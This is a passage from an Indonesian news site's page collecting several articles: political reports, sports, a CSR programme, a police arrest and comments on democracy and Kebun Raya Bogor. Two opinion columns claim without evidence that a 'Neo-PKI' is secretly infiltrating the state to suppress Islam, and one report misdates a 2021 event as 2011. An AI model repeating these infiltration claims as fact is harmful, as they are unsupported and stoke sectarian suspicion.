Azhar yang berbuntut laporan ke Polda Metro Jaya. Luhut merasa difitnah karena Fatia menyebut PT Tobacom Del Mandiri, anak usaha Toba Sejahtra Group dimiliki sahamnya oleh Luhut, bermain dalam bisnis tambang di Papua, yakni di Blok Wabu. Blok Wabu merupakan ‘gunung emas’ yang belum terjamah di Kabupaten Intan Jaya. Saat dieksplorasi PT Freeport Indonesia, ditemukan potensi sumber daya emas sebesar 8,1 juta troy ounce di sana. Saya yakin, pejabat berwenang punya data soal yang bisa menekan Luhut agar tidak memaksakan kehendaknya. Kasihan Presiden Jokowi yang kini pusing mendapat tekanan terkait pemilihan Panglima TNI. “Presiden Jokowi terlalu banyak tekanan dari pendukung calon Panglima TNI itu. Salah satunya ya dari Luhut,” tegasnya. Juga, di lingkaran dalam Presiden Jokowi sendiri yang lebih memilih Yudo Margono. Tapi, yakinlah, sosok yang akan dipilih Presiden Jokowi itu yang mampu tegas dalam bersikap. “Sampeyan pasti tahu, siapa yang akan dipilih Mas Jokowi,” ujar sumber lain yang dekat dengan Istana. (mth)

Tragedi Diorama G30S/PKI

Oleh Sugengwaras *) Banyak paradoxks yang dilakukan para petinggi negara akhir akhir ini, mulai sebutan KKB mau diganti menjadi TERORISME dan sirnanya 3 patung tokoh nasional pelaku pelawan PKI di museum MAKOSTRAD. Ini indikasi apa? Indikasi, bermakna lain tanda-tanda atau atau gejala. Sayangnya banyak orang yang mengabaikan kata indikasi ini, sehingga menjadi salah tafsir, salah sangka, salah persepsi, salah prediksi dan salah arah. Adalah kata-kata Jenderal Pur. TNI Gatot Nurmantyo, terkait ucapannya bahwa ada indikasi menyusupnya PKI ke dalam tubuh TNI ketika ada 3 patung tokoh nasional pelaku pelawan PKI di MAKOSTRAD sirna. Dan tampaknya fenomena ini digodok dan digoreng untuk lebih memperbanyak peluang para penyelera santapan yang bisa menambah gaduh dan mengalihkan perhatian terhadap masalah atau isu yang lebih signifikan seperti gagasan RUU / UU, PERPPU terkait BBIP / HIP, rencana pemindahan ibu kota negara baru, Omnibus Law, jabatan Presiden 3 periode, pengunduran pilpres, penyerentakan pilpres dan pilkada, pengedepanan POLRI dalam pandangan Democratic Policy dll Inilah macam-macam peristiwa dan kejadian yang tampaknya bermuara ke penciptaan kondisi yang lebih buruk dan kacau. Dulu, ada istilah OPM ( Organisasi Papua Merdeka ), yaitu organisasi yang dibentuk dan dinamakan OPM oleh sekelompok gerombolan orang-orang asli / pribumi Irian Barat / Papua Barat. Kemudian ada istilah eka, eki dan ela ( ekstrim kanan / agama, eksteim kiri / komunis dan ekstrim lain / segala hal yang mengancam dan berpotensi membahayakan keamanan dan keselamatan bangsa dan negara). Ada juga GPK ( Gerombolan Pengacau Keamanan ), GPL ( Gerombolan Pengcau Liar ) dan KKB ( Kelompok Kriminal Bersenjata). Tentunya, anonim atau istilah istilah ini tidak begitu saja dimunculkan, namun pasti ada latar belakang, maksud dan tujuanya. Itulah sebabnya, pemerintah RI saat itu melarang untuk kita ikut-ikutan menyebut atau membesar-besarkan istilah OPM yang dinilai terkandung makna politik, yang menguntungkan pihak gerombolan / pemberontak di Irian , guna memperoleh pengakuan secara politik dari negara negara lain termasuk dalam pemberian jaminan perlindungan atau suaka politik. Sedangkan istilah GPK, GPL dan KKB, meniadakan makna politik dan mempersempit lingkup politik menjadi suatu gerombolan atau kriminal yang notabene menjadi masalah dan urusan dalam negeri NKRI, dengan kata lain negara lain tidak bisa untuk ikut campur tangan. Sedangkan teroris adalah sekelompok kecil atau besar yang secara politis bisa link up dengan jaringan nasional / internasional yang menjadikan mereka bisa lebih berakses, lebih berarti, lebih berwibawa dan lebih berstruktur. Ironisnya, ada kecenderungan rezim now untuk lebih keren menggunakan istilah teroris sebagai pengganti istilah KKB. Dari uraian di atas, bisa kita tangkap bahwa istilah teroris akan lebih memuliakan terhadap para gerombolan itu. Menjadi pertanyaan, kenapa istilah teroris bagi gerombolan ini muncul ? Bahwa para petinggi negara seharusnya mereka yang bisa berpikir cerdas, kredibel, elektabel dan lebih berwawasan dan bercara pandang luas. Mungkinkah ada kaitan dengan dana? Bahwa dana yang diberikan untuk menghadapi teroris bisa lebih besar dari sekadar dana untuk menghadapi kriminal? Atau dari dukungan / pinjaman dana ke negara lain lebih mudah dan lancar guna menghadapi teroris dibanding untuk meghadapi kriminal. Allahu Alam ! Hanya benak mereka yang tahu ! Begitu pula raibnya 3 patung tokoh nasional di Makostrad, bisa jadi orang akan mengkaitkan digantinya patung Jenderal Urip Sumaharjo menjadi patung Sukarno, ketika Mayjen Dudung menjabat Gebernur AKMIL, penurunan Baliho sewaktu Mayjend Dudung sebagai Pangdam Jaya dan raibnya 3 patung tokoh nasional ketika Letjen Dudung menjabat sebagai Pangkostrad. Marilah kita berpikir komprehensif integral dan obyektif realistik, memecahkan teka teki ini, guna memperoleh kesimpulan dalam menuju Indonesia lebih baik. Belakangan berpikir untuk kepentingan individu serta utamakan persatuan dan kesatuan TNI khususnya dan Nasional umumnya ! MERDEKA !!! *) Purnawirawan TNI AD

Wapres Pimpin Rapat Penanggulangan Kemiskinan Ekstrem di Jawa Timur

Jakarta, FNN - Wakil Presiden, KH Ma’ruf Amin, memimpin rapat koordinasi dengan Pemerintah Daerah Jawa Timur terkait upaya penanggulangan dan penyelesaian kemiskinan ekstrem di lima kabupaten. Dalam keterangan dari Biro Pers, Media dan Informasi Sekretariat Wakil Presiden, Kamis, rapat itu dihadiri Gubernur Jawa Timur, Khofifah Parawansa, Plt Bupati Probolinggo, Timbul Prihanjoko, Bupati Bojonegoro, Anna Muawanah, Bupati Lamongan, Yuhronur Efendi, Bupati Bangkalan, Latief Amin Imron, dan Bupati Sumenep, Achmad Fauzi. Amin meminta kepada mereka untuk menentukan lokus prioritas, mengutamakan sumber daya dan mendorong percepatan pengurangan kemiskinan ekstrem. Upaya tersebut dapat dilakukan dengan menggunakan kombinasi antara indikator persentase dan jumlah penduduk miskin ekstrem di satu wilayah. "Kombinasi dua indikator itu diharapkan dapat mengarahkan pemerintah daerah untuk memilih wilayah yang bukan hanya dengan persentase penduduk miskin ekstrem tinggi, namun juga dengan penduduk ekstrem yang besar," jelasnya. Ia juga menegaskan bahwa anggaran bukan menjadi tantangan utama dalam upaya penyelesaian kemiskinan ekstrem di 2021. Pemerintah menambah alokasi pendanaan untuk penanggulangan kemiskinan ekstrem tersebut lewat program bantuan sosial, katanya. "Tambahan alokasi pendanaan untuk penanggulangan kemiskinan ekstrem melalui bantuan sosial tunai dalam kerangka pemulihan ekonomi nasional sebagai respon terhadap dampak pandemi Covid-19 itu akan diberikan kepada lima kabupaten prioritas penanggulangan kemiskinan ekstrem selama tiga bulan hingga akhir 2021," ujarnya. Total penduduk miskin ekstrem di lima kabupaten prioritas di Jawa Timur sebanyak 508.571 jiwa, dengan total jumlah rumah tangga miskin ekstrem sebanyak 265.180 rumah tangga. Lima kabupaten di Provinsi Jawa Timur yang menjadi daerah prioritas penyelesaian kemiskinan ekstrem hingga akhir 2021 ialah Kabupaten Probolinggo (114.250 jiwa atau 9,74 persen), Kabupaten Bojonegoro (50.200 jiwa atau 6,05 persen), Kabupaten Lamongan (87.620 jiwa atau 7,37 persen), Kabupaten Bangkalan di Pulau Madura (123.490 jiwa atau 12,44 persen), dan Kabupaten Sumenep di Pulau Madura (130.750 jiwa atau 11,98 persen). (mth)

Bobie Valentinus Gondol Emas Wushu Taolu Kombinasi untuk Jatim

Merauke, FNN - Bobie Valentinus Gunawan memukau dewan juri dengan torehan skor 9.71 di nomor taolu taiji quan putra demi memboyong medali emas wushu pertama bagi Jawa Timur di PON XX Papua, Merauke, Kamis. Melakukan eksekusi jurus taiji tangan kosong dan pendaratan yang cukup sempurna, Bobie yang juga atlet pelatnas itu memperoleh nilai tertinggi hari ini yang diakumulasikan dengan skor 9.70 yang ia raih di nomor taiji jian pada hari sebelumnya. "Dari awal saya tidak ada ekspektasi, hanya ingin main terbaik, hasil terserah sama yang Di Atas," kata Bobie saat ditemui setelah pertandingan di GOR Futsal KONI, Merauke, Kamis. "Saya latihan sudah maksimal, ya saya kasih yang maksimal juga," tambahnya. Dua atlet Sumatera Utara, Nicholas dan Fredy, berhak atas medali perak dan perunggu nomor kombinasi pedang dan tangan kosong. Nicholas meraup poin 9.57 di taiji quan dan 9.55 di taiji jian, menyalip akumulasi poin Fredy yang tampil sedikit jeblok di tangan kosong dengan 9.31 setelah sebelumnya mengantongi 9.65 ketika bermain pedang di taiji jian. Sebelumnya, DKI Jakarta menyapu bersih dua medali emas yang diperebutkan pada hari pertama cabang olahraga wushu nomor taolu. Atlet pelatnas Edgar Xavier Marvelo membuka keran medali tim wushu DKI Jakarta di PON XX Papua setelah tampil dengan nilai terbaik di nomor taolu chang quan. Emas kedua DKI dipersembahkan oleh Nandira Mauriskha yang tampil terbaik di nomor taolu chang quan putri. Wushu menjadi cabang olahraga yang pertama kali dipertandingkan di Merauke, yang bakal menggelar juga pertandingan sepak bola putri, anggar, gulat, catur dan bermotor. Cabang olahraga wushu digelar dari 29 September hingga 3 Oktober dengan memperebutkan 23 medali emas dari nomor taolu (seni jurus) dan sanda (tanding). (mth)

PJB Paiton-AIS Forum UNDP Berdayakan Wirausahawan Perempuan Pesisir

Jakarta, FNN - PT Pembangkitan Jawa Bali Unit Pembangkit (PJB UP) Paiton bersama Archipelagic and Island States (AIS) Forum yang digagas UNDP (Program Pembangunan PBB) membuat program pemberdayaan wirausahawan perempuan di kawasan pesisir. "Dewasa ini makin banyak perempuan yang berkreasi menciptakan bisnis mereka sendiri, mengupayakan ekonomi yang berkelanjutan bagi keluarganya, dan menjadi pembuka lapangan kerja bagi komunitas di lingkungannya," kata Program Manager AIS Forum Abdul Wahid Situmorang, dalam siaran pers di Jakarta, Kamis. Ia mengemukakan Kadin Indonesia memperkirakan setidaknya ada 30 juta UMKM Indonesia yang terdampak oleh pandemi. Wirausahawan perempuan menjadi salah satu kelompok yang terkena imbas dampak pandemi paling tinggi, di mana studi Organisasi Kerja Sama dan Pembangunan Ekonomi (OECD) menunjukkan sekitar 22 persen usaha yang dipimpin oleh perempuan di wilayah Asia Timur dan Pasifik terpaksa tutup akibat pandemi. Angka ini cukup tinggi dibandingkan usaha yang tutup dan dipimpin oleh laki-laki, yaitu sekitar 16 persen. "Minimnya pengetahuan dan kemampuan adaptif untuk mengelola bisnis merupakan salah satu faktor penyebab rapuhnya UMKM terhadap pandemi. Kondisi ini akan menjadi semakin pelik apabila penetrasi teknologi informasi tidak mampu diadopsi oleh wirausahawan perempuan, sehingga gap antara pelaku UMKM dengan bisnis besar akan semakin lebar," ucapnya. Untuk itu, AIS Forum menggandeng sejumlah pihak dalam meluncurkan Womenpreneurship Support Program, yang menyasar wirausahawan perempuan di wilayah pesisir Indonesia. "Kami harap dengan program ini, wirausahawan perempuan dapat memperluas jangkauan usahanya dengan beradaptasi mengikuti tren terkini serta dapat meningkatkan produktivitas bisnis mereka," kata Abdul Wahid. Womenpreneurship Support Program yang digagas bersama AIS Forum dan PJB UP Paiton ini merupakan komitmen jangka panjang. Program ini akan dimulai dengan peningkatan kapasitas pengetahuan digital bagi para wirausahawan perempuan di Desa Banyuglugur dan Desa Binor, wilayah pesisir pantai perbatasan antara Kabupaten Probolinggo dan Situbondo, Jawa Timur. Rencana pemberdayaan ini merupakan bagian dari kerangka besar corporate social responsbility (CSR) PJB UP Paiton yang akan berlangsung hingga 2023. General Manager PT PJB UP Paiton Maryono mengatakan pihaknya bangga bermitra dengan AIS Forum untuk memberikan pelatihan demi meningkatkan mata pencaharian wirausahawan perempuan sekaligus melestarikan lingkungan dengan menerapkan praktik bisnis yang berkelanjutan. “Posisi pembangkit PJB UP Paiton yang berada di area pesisir mendorong kami untuk berkolaborasi bersama masyarakat dalam memanfaatkan potensi laut untuk dikembangkan lebih besar lagi. Harapannya, perekonomian masyarakat pesisir semakin meningkat dan lebih baik,” lanjutnya. Wirausahawan perempuan di wilayah pesisir Banyuglugur sudah memulainya dengan menghasilkan produk-produk industri rumahan berbahan dasar ikan. Nilai jual produk ini sangat tinggi, sehingga sudah sangat tepat sekali jika dapat dipromosikan ke pasar yang lebih luas, sehingga bisa menghasilkan pendapatan yang berkelanjutan bagi wirausahawan perempuan binaan kami," ucapnya. Womenpreneurship Support Program ini akan berfokus untuk memberikan pelatihan dan pengembangan kapasitas wirausahawan perempuan di Desa Banyuglugur sebagai salah satu proyek rintisan, selama kurang lebih lima bulan. Di Indonesia, Womenpreneurship Support Program ini akan menyasar hingga 1.500 pengusaha UMKM dari kelompok marjinal termasuk perempuan, anak muda, dan penyandang disabilitas. Program ini akan menyasar 10 lokasi, utamanya wilayah tengah dan timur Indonesia, mencakup Manado, Palu, Bali, Mandalika, Lombok, Pulau Timor, Sumba, Kupang, Ambon, dan Papua sebagai titik-titik potensial. (mth)

Benarkah Neo-PKI Berhasil Menyusup Ke Semua Lini?

TAK terbayangkan kalau PKI berhasil merebut kekuasaan dalam pengkhianatan 30 September 1965. Pembunuhan sadis terhadap para jenderal, ulama dan santri dalam pengkhianatan itu, tak mungkin tidak akan mereka lakukan juga terhadap umat Islam. Sebab, umat Islam adalah musuh terberat mereka. Simbol-simbol Islam seperti masjid, madrasah, pesantren, dll, tak akan lepas dari sasaran penghancuran. Atau dijadikan sentra re-edukasi dengan tujuan agar umat Islam menerima paham komunis. Setelah itu, umat Islam akan menjadi “netral” dan bersahabat dengan PKI. Dan akhirnya menerapkan ajaran komunis. Yang pasti, kalau PKI berhasil merebut kekuasaan, umat akan dijauhkan dari agama. Sampai akhirnya tidak mengenal agama. Tidak tahu sholat. Tidak tahu membaca al-Quran. Tidak lagi ada azan di masjid. Dan tidak mengenal halal-haram. Alhamdulillah, itu tidak terjadi. PKI gagal berkuasa. Pangkostrad Mayjen Soeharto menumpas pengkhianatan itu. Rakyat terhindar dari malapetaka berkat pertolongan Yang Maha Kuasa. Tetapi, pada awal 2000-an, atau 35 tahun setelah 1965, ada suasana baru yang memang bisa membuat PKI hidup kembali. Yaitu, momentum Reformasi ’98 yang memompakan nafas baru kepada para aktivis komunis setelah gerakan mereka mati puluhan tahun. Mereka menunjukkan gejala kebangkitan komunisme. Ada gerakan Neo-PKI atau PKI gaya baru. Gerakan ini menyesuaikan diri dengan perubahan besar di bidang teknologi informasi, ekonomi, sosial-budaya dan politik. Dengan kata lain, Neo-PKI pun ikut melakukan “reformasi” dalam metode penyebaran komunisme. Meskipun cara-cara kekerasan fisik tetap dipratikkan. Sekarang ini para aktivis komunis melakukan beberapa upaya. Pertama, mengusahakan agar narasi PKI sebagai pelaku kekejaman berubaha menjadi PKI sebagai korban. Kedua, sangat kuat dugaan mereka melakukan infiltrasi (penyusupan) ke entitas politik, pembuat legislasi, perancang kebijakan publik, struktur birokrasi, dan ke lembaga-lembaga strategis. Ketiga, melakukan tindakan intimidasi dengan cara melancarkan serangan fisik terhadap para imam masjid, ustad, kiyai, dsb. Di antara tiga hal di atas, yang dianggap paling berbahaya adalah infiltrasi atau penyusupan. Sebab, penyusupan sangat efektif untuk mempengaruhi kebijakan publik. Dari sini, para aktivis Neo-PKI bisa mengharapkan berbagai kebijakan yang sifatnya memusuhi Islam dan umat Islam. Tapi, benarkah sinyalemen bahwa penyusupan itu terjadi ke semua lini? Apakah ada bukti-bukti tentang itu? Penyusupan adalah operasi terselubung. Tak bisa dilihat dengan kasat mata. Intelijen pun belum tentu bisa mendeteksinya secara fisik. Tapi, kita bisa merasakan dampaknya. Itulah hebatnya penyusupan. Belakangan ini para pemegang kekuasaan menggunakan narasi-narasi yang memojokkan Islam. Para penguasa konstan berkampanye tentang intoleransi dan radikalisme. Pengelolaan pesantren mulai dicampuri. Tak diragukan lagi, semua ini diarahkan ke umat Islam. Para petinggi juga berbicara tentang pengekangan ceramah agama Islam. Ada usul sertifikasi penceramah. Ada pula sterilisasi masjid atau musholla yang berada di gedung-gedung pemerintah. Penceramah yang dianggap radikal tidak boleh lagi masuk jadwal. Merekalah yang menentukan kategori radikal itu. Hanya orang-orang yang menyenangkan penguasa yang dibolehkan. Yaitu, orang-orang liberal. Tentu saja yang berpaham liberal selalu sesuai dengan semua paham, termasuk paham komunis. Ini semua dirasakan oleh para pemuka Islam sebagai pengekangan yang “unprecendented” alias “belum pernah terjadi”. Semua hanya bisa merasa heran mengapa ada semacam “concerted effort” (upaya terpadu) untuk memojokkan Islam dan umat Islam. Orang bertanya-tanya: benarkah paham komunis akan berkibar kembali melalui penyusupan? Siapakah yang melakukan penyusupan itu? Wallahu a’lam. Tuhan dan para penyusuplah yang tahu. Kita hanya bisa menyaksikan upaya untuk mengganti Pancasila, khususnya sila Ketuhanan. Tiba-tiba saja tokoh politik senior berbicara tentang perlunya mengganti Ketuhanan Yang Maha Esa dengan ketuhanan yang berkebudayaan. Ini jelas anti-agama. Sama seperti komunis. Arahnya bisa ditebak. Yaitu, penghapusan agama. Dalam jangka panjang. Tidak mudah menemukan penyusup. Tetapi, kita paham penyusupan bisa terjadi karena suasana untuk itu cukup kondusif. Ada yang membantu dan melindungi mereka. Bantuan dan perlindungan itu membuat mereka bebas “berkarir” di banyak posisi penting.[]

PNI, PKI, Sukarno, Nasakom, dan Angkatan Darat

Jakarta, FNN - Pengamat politik dari Universitas Nasional (Unas) Jakarta, Selamat Ginting mengungkapkan, sebagai pendiri Partai Nasional Indonesia (PNI), Sukarno sempat gusar ketika partai berideologi marhaenisme itu diisi tokoh-tokoh yang dianggapnya sudah tua dan tidak progresif revolusioner. Maka pada Kongres PNI 1963 di Purwokerto, sejumlah tokoh PNI disingkirkan. “Yang mengejutkan, para aktivis PKI (Partai Komunis Indonesia) justru dimasukkan dalam kepengurusan PNI. Misalnya Karim DP, Satya Graha, Walujo, Djarwoto. Bahkan mereka menduduki posisi-posisi penting di dalam kepengurusan partai dan media massa. Inilah yang disebut PKI berjaket PNI,” kata dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas di Jakarta, Kamis (30/9). Selanjutnya, menurut Ginting, pada sidang Badan Pekerja Kongres (BPK) 1 PNI di Bandung tahun 1964, PNI menafsirkan marhaenisme sebagai marxisme yang diterapkan sesuai dengan kondisi dan situasi Indonesia. Keputusan ini dikenal dengan istilah Deklarasi Marhaenis. Di situ, lanjutnya, PNI menonjolkan unsur marxisme sebagai suatu paham revolusioner yang berdiri di atas sendi-sendi aksi massa yang revolusioner. Maka, unsur buruh dan tani ditetapkan sebagai soko guru partai dengan tidak mengurangi peranan golongan-golongan progresif revolusioner lainnya. Sekaligus menyingkirkan unsur-unsur non marhaenisme di dalam kepemimpinan partai. Dikemukakannya, TNI dan sejumlah partai Islam, tidak menyukai perubahan PNI menjadi semakin ke kiri dan menyatu dengan PKI. Hal itu juga sudah terlihat sejak 1958. Ketika Sukarno dan Angkatan Darat berbeda sikap dalam menyelesaikan masalah PRRI/Permesta. “Para pemimpin Angkatan Darat lebih cenderung menghendaki penyelesaian secara damai. Sedangkan Sukarno berpendapat rehabilitasi terhadap pemberontak hanya mungkin dengan penyerahan mereka terlebih dahulu,” ungkap kandidat doktor ilmu politik itu. Kemudian, kata dia, Sukarno mencari dukungan dari PKI dan Nahdlatul Ulama (NU). Di sisi lain, Sukarno malah lebih dekat dengan PKI daripada dengan PNI. Ia mengontrol PNI dengan memperkuat kedudukan Ruslan Abdul Gani dalam kepemimpinan PNI. Namun tetap tidak efektif. Ruslan dianggap kurang progresif revolusioner. “Alasan itulah yang digunakan untuk memasukan aktivis PKI, seperti Karim DP dan lain-lain ke dalam PNI. Itulah PKI berjaket PNI,” ujar Selamat Ginting yang lama menjadi wartawan politik di sejumlah media massa. Dari sinilah, kata Ginting, PNI sebagai pemenang Pemilu 1955 justru dianggap sebagai pengikut setia PKI. Hal ini, karena pengurus PNI nyaris tanpa kreasi, dan imajinasi. PNI mengeluarkan rumusan-rumusan ‘copy paste’ milik PKI. Misalnya ikut-ikutan membuat tuntutan bubarkan ABRI, bubarkan HMI (Himpunan Mahasiswa Islam), istilah setan kota, kapitalis birokrat, dll. Dikemukakan, hal itu juga dikemukakan oleh Ketua Umum PNI Ali Sastroamijoyo pada ulang tahun ke 45 PKI. Ia menyatakan PNI bersedia bekerjasama dengan PKI. Wakil Presiden Mohammad Hatta pada 1959-1960 sudah terang-terangan menyatakan ketidaksukaan kedekatan Sukarno dengan PKI. Ia akhirnya mundur dari posisi Wakil Presiden, karena Sukarno dianggap sudah tidak bisa diberitahu lagi. “Termasuk keputusan Sukarno yang otoriter, membubarkan dua partai, yakni: Masyumi dan PSI (Partai Sosialis Indonesia), karena berbeda sikap dengan dirinya. Bahkan dianggap terlibat mendukung PRRI/Permesta pada 1958-1959,” ujar pengamat politik dari Unas ini. Dengan disingkirkannya Masyumi sebagai partai kedua terbesar, maka tinggal PNI, NU, dan PKI. Dari ketiga partai itulah kaki politik Sukarno dalam wadah Nasakom (Nasional, Agama, Komunis). Celakanya, ungkap Ginting, PKI yang paling diandalkan Sukarno untuk menjadi sekutu kuatnya dalam menghadapi Angkatan Darat, justru mulai terang-terangan berseberangan dengan Presiden Sukarno. Itulah era tiga polarisasi kekuatan: Sukarno-PKI-Angkatan Darat. Nasakomisasi terus digulirkan, termasuk upaya untuk memasukkannya dalam organisasi ABRI pada 1964-1965. Begitu juga soal Angkatan kelima di luar AD, AL, AU, Polri. Tentu saja yang paling getol adalah PKI dan lagi-lagi PNI mengekor PKI. PNI tidak menolak pembentukan angkatan kelima. Kedua partai ini seperti tidak ada lagi bedanya. Karena itu pula mulai terjadi bentrok antara aktivis PNI dengan personel Angkatan Darat pada Mei 1965 di Kalasan, Yogyakarta. Agar konflik tidak berkepanjangan, pimpinan PNI Ali Sastroamijoyo, Surahman, dan Ruslan Abdulgani menemui Panglima Angkatan Darat, Letnan Jenderal Ahmad Yani. “Di situ Jenderal Yani mengingatkan agar PNI jangan ikut-ikutan PKI. PNI itu nasionalis bukan komunis,” ujar Yani tegas. (sws)

Dua Rekan Tersangka Pembakar Mimbar Masjid Raya Makassar Ditangkap

Makassar, FNN - Tim Satuan Reserse Narkoba (Satresnarkoba) Polrestabes Makassar berhasil menangkap dua rekan tersangka KB, pelaku pembakar Mimbar Masjid Raya Makassar, Sulawesi Selatan. "Tadi ada penyerahan dari tim Jatanras dua orang, dengan inisial MT sama RZ. Untuk pemeriksaan awal MT pernah memakai barang narkotika bersama tersangka KB," ujar Kasat Narkoba Polrestabes Makassar, AKBP Yudi Frianto saat dikonfirmasi, Rabu malam. Sejauh ini keduanya masih menjalani pemeriksaan dilakukan penyidik Satresnarkoba terkait penyalahgunaan narkotika termasuk kaitannya dengan tersangka KB sebelum melakukan aksi tersebut. Dari keterangan awal terduga, kata Yudi, tersangka KB meninggalkan KB setelah dipengaruhi narkoba menuju ke Masjid Raya. Kemudian membakar mimbar masjid tersebut pada Sabtu, 25 September 2011 sekitar pukul 01.17 dini hari. "Waktu itu MT tidak mau ikut. Tapi dari keterangan tersangka KB, barang itu dari MT. Tetapi MT membantahnya. Sementara ini kita konfrontir barang itu milik siapa. Masih didalami lebih lanjut," ujarnya. Selain MT, tersangka mengaku pernah mengkonsumsi barang itu bersama RZ beberapa waktu lalu, tetapi sebelum kejadian pembakaran. Narkoba yang dimaksud adalah tembakau sintetis yang bisa membuat orang hilang kesadaran. Tak hanya itu, kata Yudi bahwa KB juga mengaku pernah mengkonsumsi narkotika bersama RZ beberapa waktu lalu. Yudi menegaskan, mereka konsumsi barang haram itu sebelum peristiwa pembakaran mimbar Masjid Raya Makassar. "Tim unit Jatanras mengambil RZ, dari keterangan KB pernah makai bersamanya yakni tembakau sintetis. Tapi saat itu sudah lama, makanya RZ turut diamankan dan saat digeladah ditemukan barang bukti tembakau sintetis di tubuhnya," ungkap dia. Kedua rekan tersangka, MT dan RZ telah dilakukan pemeriksaan urine untuk memastikan apakah keduanya positif atau negatif agar diproses lebih lanjut. "Setelah diperiksa, kita lalu cek urine dulu di Bidokkes, dan sudah kita kirim ke labfor barang bukti tembakau sintetisnya. Tapi belum diketahui positif atau tidak, nanti hasilnya dari labfor," katanya. (ant, sws)

Mahfud MD: Indeks Demokrasi Turun Bukan Berarti Pemerintah Represif

Jakarta, FNN - Menteri Koordinator Bidang Politik, Hukum, dan Keamanan (Menkopolhukam) Mahfud MD menilai penurunan indeks demokrasi di Indonesia bukan berarti pemerintah represif terhadap rakyat karena berbagai faktor turut memengaruhi indeks itu selain pemerintahan. Penurunan indeks demokrasi di Indonesia, kata Mahfud, merupakan masalah bersama yang harus dipecahkan tidak hanya oleh Pemerintah, tetapi juga seluruh kelompok masyarakat. "Indeks demokrasi turun bukan bertumpu pada pemerintah saja, melainkan penilaiannya ada budaya demokrasi. Kalau demokrasi mau disebut pemilihan umum, itu justru nilainya tinggi," kata Mahfud saat berdialog dengan Rektor Universitas Paramadina Didik J. Rachbini di media sosial Twitter sebagaimana diikuti di Jakarta, Rabu. Ia menyampaikan skor demokrasi Indonesia, khususnya terkait dengan penyelenggaraan pemilihan umum, justru relatif baik karena tiap pihak bebas berkampanye dan mencalonkan diri. Namun, skor demokrasi Indonesia mulai buruk ketika menyangkut masalah kebebasan berekspresi. Alasannya, lanjut Mahfud, ada masyarakat yang cenderung menggunakan kekerasan ketika berekspresi dan menyampaikan pendapat. "Bukan karena penangkapan, budaya demokrasinya yang turun," kata Menkopolhukam. Dalam dialog itu, Mahfud menyampaikan pemerintah berkomitmen memenuhi hak-hak berpendapat warga melalui revisi Undang-Undang Informasi dan Transaksi Elektronik (UU ITE). "Kami buat (nantinya) UU (ITE) itu agar orang berbicara tidak usah ditangkap, tetapi bisa didamaikan," sebut Mahfud. Ia lanjut menyampaikan lembaga peradilan di Indonesia tidak akan sembarang menghukum orang. Oleh karena itu, dia meminta aparat penegak hukum agar tidak serta-merta menangkap orang yang dilaporkan karena ucapannya di muka umum. "Tidak usah ditangkap, didamaikan saja orangnya. Kalau tidak bisa didamaikan, baru bisa diproses secara hukum," katanya. The Economist Intelligence Unit pada tahun ini menerbitkan laporan indeks demokrasi Indonesia pada tahun 2020 berada pada peringkat 64. Indonesia, menurut laporan itu, masuk kategori demokrasi belum sempurna (flawed democracy). Sementara itu, Indeks Demokrasi Indonesia (IDI) yang dievaluasi oleh Badan Pusat Statistik tiap tahun menunjukkan adanya penurunan skor rata-rata nasional dari 74,92 pada tahun 2019 menjadi 73,66 pada tahun 2020. Walaupun demikian, rata-rata skor IDI pada tahun 2020 masih lebih tinggi daripada skor pada tahun 2018 sebesar 72,39. (ant, sws)

Dosen IPB: Pemasangan Lampu Glow di Kebun Raya Bisa Runtuhkan Ekosistem

Bogor, FNN - Dosen Institut Pertanian Bogor (IPB) Dr. Melani Abdulkadir Sunito mengatakan rencana pemasangan lampu sorot (glow) untuk atraksi wisata malam akan memberikan tambahan tekanan lingkungan bagi Kebun Raya Bogor. "Aktivitas-aktivitas yang memberi tekanan dari dalam tidak cuma glow, jalan gico yang disemen dan sebagainya, tapi semua perubahan adalah tekanan yang kemudian dari luar dan kemudian ini ada lagi dari dalam" kata Melani dalam Webinar Arsitektur Lanskap IPB: Apa Kata Mereka Tentang Kebun Raya di Jakarta, Rabu. "Saya agak khawatir bahwa ekosistem ini akan runtuh seperti jerami diletakkan di keledai yang sangat keberatan dengan segala bebannya," lanjut Melani. Melani yang merupakan dosen dari Departemen Sains Komunikasi Dan Pengembangan Masyarakat Fakultas Ekologi Manusia IPB menuturkan seluruh pengembangan yang dilakukan untuk kebun raya semestinya memikirkan dampak terhadap kebun raya. Ia mengatakan Kebun Raya Bogor merupakan ekosistem yang sudah terbentuk selama lebih dari 200 tahun, dan dalam proses itu telah mengelola diri dengan sangat luar biasa ketika menghadapi berbagai tekanan dari luar. Untuk itu, dia berharap semua pihak tidak menambah tekanan pada kebun raya itu. Dia menuturkan otentisitas dari Kebun Raya Bogor juga harus dijaga. Kebun Raya Bogor hendaknya tidak dilihat sebagai taman rekreasi biasa semata, karena kebun raya tersebut memiliki nilai historis dan fungsi strategis yang penting bagi lingkungan dan manusia. "Kebun raya yang berusia 200 tahun ini tidak bisa disamakan dengan berbagai kebun raya yang lain yang usianya jauh lebih muda," tuturnya. Kebun raya mengusung lima tugas dan fungsi penting, yaitu konservasi tumbuhan, penelitian, pendidikan, wisata ilmiah dan jasa lingkungan. Ketiga fungsi pertama merupakan satu kesatuan yang tidak terpisahkan dan menjadi acuan bersama seluruh kebun raya di dunia Melani mengajak untuk membangun sebanyak-banyaknya kebun raya sehingga menjadi ruang hijau di mana bisa bernafas dengan baik dan bisa mendukung upaya untuk mengatasi krisis ekologi. Melani menuturkan perlunya perubahan paradigma untuk menggeser cara berelasi dengan alam, yang dapat dimulai dengan kebun raya, sehingga memiliki cara pandang yang lebih holistik dan berimbang untuk peduli dan menjaga keberlanjutan kebun raya. Dia tidak ingin ada paradigma yang semata-mata ingin menghasilkan pendapatan dari pengelolaan kebun raya. "Kami bersama teman-teman yang bergabung di dalam komunitas peduli Kebun Raya Bogor itu menyusun petisi dengan sangat jelas kita mengatakan stop glow dan dukung pengusungan World Heritage untuk kebun raya," ujarnya. (ant, sws)

Jubir: Presiden Joko Widodo Menolak Wacana Jabatan Presiden Tiga Periode maupun Perpanjangan Masa Jabatan

